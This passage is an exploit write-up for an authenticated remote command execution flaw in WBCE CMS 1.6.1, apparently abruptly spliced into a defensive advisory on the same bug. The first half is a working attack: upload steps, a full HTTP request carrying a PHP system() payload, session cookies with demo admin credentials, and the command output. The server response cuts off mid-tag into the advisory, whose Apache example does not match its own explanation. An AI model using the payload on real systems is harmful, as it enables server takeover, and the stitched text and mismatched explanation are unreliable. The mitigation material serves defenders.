WBCE CMS Version 1.6.1 - Remote Command Execution (Authenticated)
# Exploit Title: WBCE CMS Version : 1.6.1 Remote Command Execution
# Date: 30/11/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://wbce-cms.org/
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.1.zip
# Version: 1.6.1
# Tested on: https://www.softaculous.com/apps/cms/WBCE_CMS
## POC:
1 ) Login with admin cred and click Add-ons
2 ) Click on Language > Install Language > https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/index.php
3 ) Upload upgrade.php > <?php echo system('id'); ?> , click install > https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/install.php
4 ) You will be see id command result
Result:
uid=1000(soft) gid=1000(soft) groups=1000(soft) uid=1000(soft) gid=1000(soft) groups=1000(soft)
### Post Request:
POST /WBCE_CMSgn4fqnl8mv/admin/languages/install.php HTTP/1.1
Host: demos6.softaculous.com
Cookie: _ga_YYDPZ3NXQQ=GS1.1.1701347353.1.1.1701349000.0.0.0; _ga=GA1.1.1562523898.1701347353; AEFCookies1526[aefsid]=jefkds0yos40w5jpbhl6ue9tsbo2yhiq; demo_390=%7B%22sid%22%3A390%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22pass%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos4.softaculous.com%5C%2FImpressPagesgwupshhfxk%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos4.softaculous.com%5C%2FImpressPagesgwupshhfxk%5C%2Fadmin.php%22%2C%22dir_suffix%22%3A%22gwupshhfxk%22%7D; demo_549=%7B%22sid%22%3A549%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos1.softaculous.com%5C%2FBluditbybuxqthew%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos1.softaculous.com%5C%2FBluditbybuxqthew%5C%2Fadmin%5C%2F%22%2C%22dir_suffix%22%3A%22bybuxqthew%22%7D; demo_643=%7B%22sid%22%3A643%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos6.softaculous.com%5C%2FWBCE_CMSgn4fqnl8mv%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos6.softaculous.com%5C%2FWBCE_CMSgn4fqnl8mv%5C%2Fadmin%22%2C%22dir_suffix%22%3A%22gn4fqnl8mv%22%7D; phpsessid-5505-sid=576d8b8dd92f6cabe3a235cb359c9b34; WBCELastConnectJS=1701349503; stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/index.php
Content-Type: multipart/form-data; boundary=---------------------------86020911415982314764024459
Content-Length: 522
Origin: https://demos6.softaculous.com
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------86020911415982314764024459
Content-Disposition: form-data; name="formtoken"
5d3c9cef-003aaa0a62e1196ebda16a7aab9a0cf881b9370c
-----------------------------86020911415982314764024459
Content-Disposition: form-data; name="userfile"; filename="upgrade.php"
Content-Type: application/x-php
<?php echo system('id'); ?>
-----------------------------86020911415982314764024459
Content-Disposition: form-data; name="submit"
-----------------------------86020911415982314764024459--
### Response :
<!-- ################### Up from here: Original Code from original template ########### -->
<!-- senseless positioning-table: needed for old modules which base on class td.content -->
<div class="row" style="overflow:visible">
<div class="fg12">
<table id="former_positioning_table">
<tr>
<td class="content">
uid=1000(soft) gid=1000(soft) groups=1000(soft)
uid=1000(soft) gid=1000(soft) groups=1000(soft)
<div class="top alertbox_error fg12 error-box">
<i class=" fa fa-2x fa-warning signal"></i>
<p>Invalid WBCE CMS language file. Please check the text file.</p>
<p><a href="index.php" class="button">Back WBCE CMS 1.6.1 — Authenticated Remote Command Execution (High‑Level Overview)
Summary
WBCE CMS version 1.6.1 contains an authenticated file‑upload weakness in the language/add‑on installation flow that can lead to remote code execution (RCE) when arbitrary PHP files uploaded by a logged‑in user are later executed by the webserver. This type of flaw typically arises when user‑provided files are stored in web‑accessible locations and the application fails to validate file contents, extensions, or execution context.
Why this matters
- Privilege escalation and persistence: An attacker with valid credentials (e.g., a compromised or low‑privileged admin/editor account) may use the upload vector to execute commands on the host or plant backdoors.
- Data exfiltration and pivoting: Code execution enables reading configuration and credentials, moving laterally, or installing additional malware.
- Supply chain and multi‑tenant risk: In shared hosting or demo environments, one compromised site can affect others if filesystem or user separation is weak.
Technical analysis (conceptual)
At a high level, the vulnerability sequence usually looks like this:
- The application exposes an upload functionality intended for non‑executable resources (e.g., language files, images).
- The backend accepts and stores the uploaded file under a web‑accessible directory without sufficient validation of file type/content or proper renaming and storage outside the document root.
- Because the file is a valid server‑side script (for example, contains PHP code), the webserver will execute it when requested, enabling arbitrary command execution.
Note: the risk is elevated when the upload handler trusts file extension or MIME type sent by the client, or when file parsing/install logic executes or includes the uploaded file.
Indicators of compromise and detection
- Unexpected files appearing in upload or language directories (filenames with unusual extensions or random names).
- Webserver logs showing requests to recently created files with 200 responses followed by unusual outbound connections or process activity.
- Application logs showing failed/odd parsing attempts around language/plugin installation events.
- Command execution artifacts: new binaries, cron entries, or PHP shells saved in web directories.
- Increased CPU/network usage or processes spawned by the webserver user.
Immediate mitigation steps (for administrators)
- If possible, take the instance offline or disable the add‑ons/language installation UI until patched.
- Inspect upload directories for suspicious files and remove any unknown or recent PHP‑capable files. Preserve copies for forensic analysis where appropriate.
- Reset credentials for administrative users and rotate any credentials found in config files.
- Audit server logs and filesystem for evidence of exploitation and indicators of lateral movement.
- Apply vendor patches or upgrade to a fixed version as soon as available.
Long‑term remediation and hardening
- Remove execute permissions for upload directories and ensure uploaded content cannot be executed by the webserver.
- Store uploaded files outside the document root or in storage systems that do not run server‑side code.
- Implement strict server‑side validation: whitelist allowed extensions and verify file content using reliable detection (e.g., fileinfo/finfo).
- Enforce least privilege for the webserver account — avoid running it as a user with broad filesystem access.
- Disable dangerous PHP functions where appropriate (exec, system, passthru, shell_exec, proc_open, popen) via php.ini or per‑virtual‑host configuration.
- Use web application firewalls (WAFs) and runtime application self‑protection (RASP) for an additional layer of defense.
Secure file upload: recommended server and app controls
- Whitelist file types/extensions and validate file contents (magic bytes/MIME) on the server.
- Rename uploaded files to non‑executable names (avoid original filename when storing) and generate safe unique identifiers.
- Store files outside web root and serve them through a controlled handler that enforces access rules and content types.
- Prevent PHP/CGI execution in upload directories using webserver configuration.
- Use CSRF protections and strong session management for any administrative functionality.
Example: webserver config to prevent PHP execution in an uploads directory
# Apache .htaccess (place in uploads directory)
Require all denied
# Additionally, disable handler for PHP extensions if using older Apache:
RemoveHandler .php .phtml .php3
Explanation: The Apache configuration above denies access to requests for PHP‑type files in the uploads directory and removes PHP handlers to avoid accidental execution if the server matches these extensions. This reduces the risk if a malicious PHP file is uploaded to that location.
Example: safe PHP upload handling pattern (conceptual)
<?php
// Allowed extensions and max size
$allowed = ['txt', 'json', 'lng'];
$maxBytes = 2 * 1024 * 1024; // 2 MB
if (!isset($_FILES['file'])) {
http_response_code(400);
exit('No file uploaded');
}
$f = $_FILES['file'];
if ($f['error'] !== UPLOAD_ERR_OK || $f['size'] > $maxBytes) {
http_response_code(400);
exit('Upload error');
}
// Validate extension and MIME type
$ext = strtolower(pathinfo($f['name'], PATHINFO_EXTENSION));
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($f['tmp_name']);
$mimeWhitelist = [
'txt' => 'text/plain',
'json' => 'application/json',
'lng' => 'text/plain'
];
if (!array_key_exists($ext, $mimeWhitelist) || $mime !== $mimeWhitelist[$ext]) {
http_response_code(400);
exit('Invalid file type');
}
// Move outside document root and use a safe filename
$storageDir = '/var/www/safe_storage/languages/'; // outside public web root
$dst = $storageDir . bin2hex(random_bytes(16)) . '.' . $ext;
if (!move_uploaded_file($f['tmp_name'], $dst)) {
http_response_code(500);
exit('Unable to save file');
}
// Set restrictive permissions
chmod($dst, 0600);
echo 'Uploaded';
?>
Explanation: This example demonstrates server‑side controls that together reduce RCE risk:
- Whitelist extensions and expected MIME types rather than trusting client input.
- Store files outside the web root so they cannot be directly executed by the webserver.
- Use a generated filename to avoid executing based on attacker‑chosen names.
- Set restrictive filesystem permissions to prevent webserver users or other processes from executing or reading files unnecessarily.
Vendor guidance and responsible disclosure
- Vendors should treat any upload functionality that can handle structured or textual language files as potentially risky and apply strict parsing/validation rules.
- Perform code audits focusing on file handling, inclusion/require patterns, and any area that executes or interprets uploaded data.
- Make security updates and advisories publicly available and provide clear upgrade instructions and mitigations for administrators who cannot immediately patch.
Conclusion and next steps for administrators
If you manage WBCE CMS instances: immediately confirm the version in use, apply vendor patches where available, and apply the mitigations above (especially disabling execution in upload directories and moving uploads outside web root). For any suspected compromise, collect logs and filesystem snapshots, rotate credentials, and perform a full incident response involving containment and recovery.
| Action | Priority |
|---|---|
| Verify version and apply vendor patch | Critical |
| Disable language/add‑on upload UI until patched | High |
| Audit upload directories for suspicious files | High |
| Implement upload hardening (validation, storage outside web root) | Medium |
| Harden PHP configuration and disable dangerous functions | Medium |